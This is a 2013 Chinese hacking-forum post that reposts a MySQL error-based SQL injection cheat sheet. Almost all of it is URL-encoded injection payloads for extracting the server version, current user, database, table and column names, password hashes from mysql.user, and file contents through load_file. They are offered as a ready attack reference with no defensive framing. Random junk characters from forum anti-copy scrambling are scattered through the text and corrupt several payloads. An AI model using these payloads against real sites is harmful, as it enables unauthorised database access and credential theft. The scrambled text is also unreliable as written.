本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 6 J4 D T8 c0 A6 K" |4 |4 ?
* l$ R4 m/ n t
, l, ?4 n& w# h% U& u3 g, F$ FMysql暴错注入参考(pdf),每天一贴。。。
* R4 V2 n$ w& n; ]% y! b/ n8 }8 I5 e
MySql Error Based Injection Reference( J; @) P1 H$ r
[Mysql暴错注入参考]
9 x, y4 R' u" b% aAuthornig0s1992! h, N" m8 Z. W8 f# \3 W
Blog:http://pnig0s1992.blog.51cto.com/
7 Y0 W* P. @2 P5 u" E* a& DTeAm:http://www.FreeBuf.com/
' ]' G$ q/ h9 m& f& x2 J6 y$ `Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功3 c5 d5 p5 R1 t: ^$ A4 {# I
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
0 [& U Y) w3 T% H) g# m0 a查询版本:
! V: B) ?# F/ e4 J- F3 i: i& |Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
5 N3 f( K' L( bjoin+(select+name_const(@@version,0))b)c)) U9 L c1 z. h- x, ?
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro- y* c# w2 C U3 T) q+ a
up by a)b)' i6 n9 A9 L! A& v
查询当前用户:
9 P7 ~# c9 u6 I+ z/ |5 EMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)4 M% k% B1 H/ }* D7 z: A
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
* G* N8 G% P# [5 Sand(0)*2))x+from+information_schema.tables+group+by+x)a)+ ^3 c7 V; [$ v$ b6 E
查询当前数据库:
+ J( E5 U, [& e% cMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
% X9 F# o) k1 FMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo2 A& ~5 B. H! f% A/ x
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)8 q- f8 `" T" t" C
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
$ L$ b1 z! }3 M7 lLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n% H- @ Z2 j; A1 j7 v
顺序替换4 _0 w0 p: x' b, t: x* j
爆指定库数目:' P% c& Y8 U/ o; p. i& z/ ~: }5 `
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t9 c1 e# d# ~! y: Y
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
3 ^* t* U4 C& |+ h! l% V3 R+by+x)a)+and+1=1 0x6D7973716C=mysql
% m/ |5 }# j6 ?% M* E依次爆表:6 H8 i8 ?: e, w; @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
- w7 ?+ I( L, l: uable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
+ B/ F4 n2 e; U, t# F& Sbles+group+by+x)a)+and+1=1
* |! F! V; v+ ~ { u; _, s p0x6D7973716C=Mysql 将n顺序替换
9 B1 a* p7 ~1 C爆表内字段数目:7 q, g8 e) O! Z$ ]
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
4 Z+ L: L. Z/ P8 A7 X+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran" e. J7 s8 _8 R, ~, |- o
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
% f! t1 b3 S2 V5 N/ ~9 v) w" b* z4 p依次爆字段:
4 ]* o& T: }# N" {0 l! _and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where' I) o4 A+ i3 ]$ F
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1; O" x) `0 R, P5 l$ M! [
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换! p. g, E4 _$ c" n% V3 S5 o1 z6 _
依次暴内容:1 L n. W( t2 c* }# [& X1 U
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche2 c, E* L* m9 A ?
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 G2 ?% Z) ^+ ?5 g/ i, t/ ~1 Z. j, q将n顺序替换# I4 L2 _; t: S; _' i% w2 e8 u
爆文件内容:
$ W. ~7 c# T# P$ I8 Nand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a7 l1 i# }2 N2 s: _; c
from+information_schema.tables+group+by+a)b) 5 {: Z$ U, a0 K
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
- L( S$ Q. D9 C9 P4 D2 }6 J& HThx for reading.
M+ |+ u! C. ^3 m e! _' g8 F
( }0 Q: S6 ^0 g" K4 ]不要下载也可以, " \/ U( c" s, x! r
|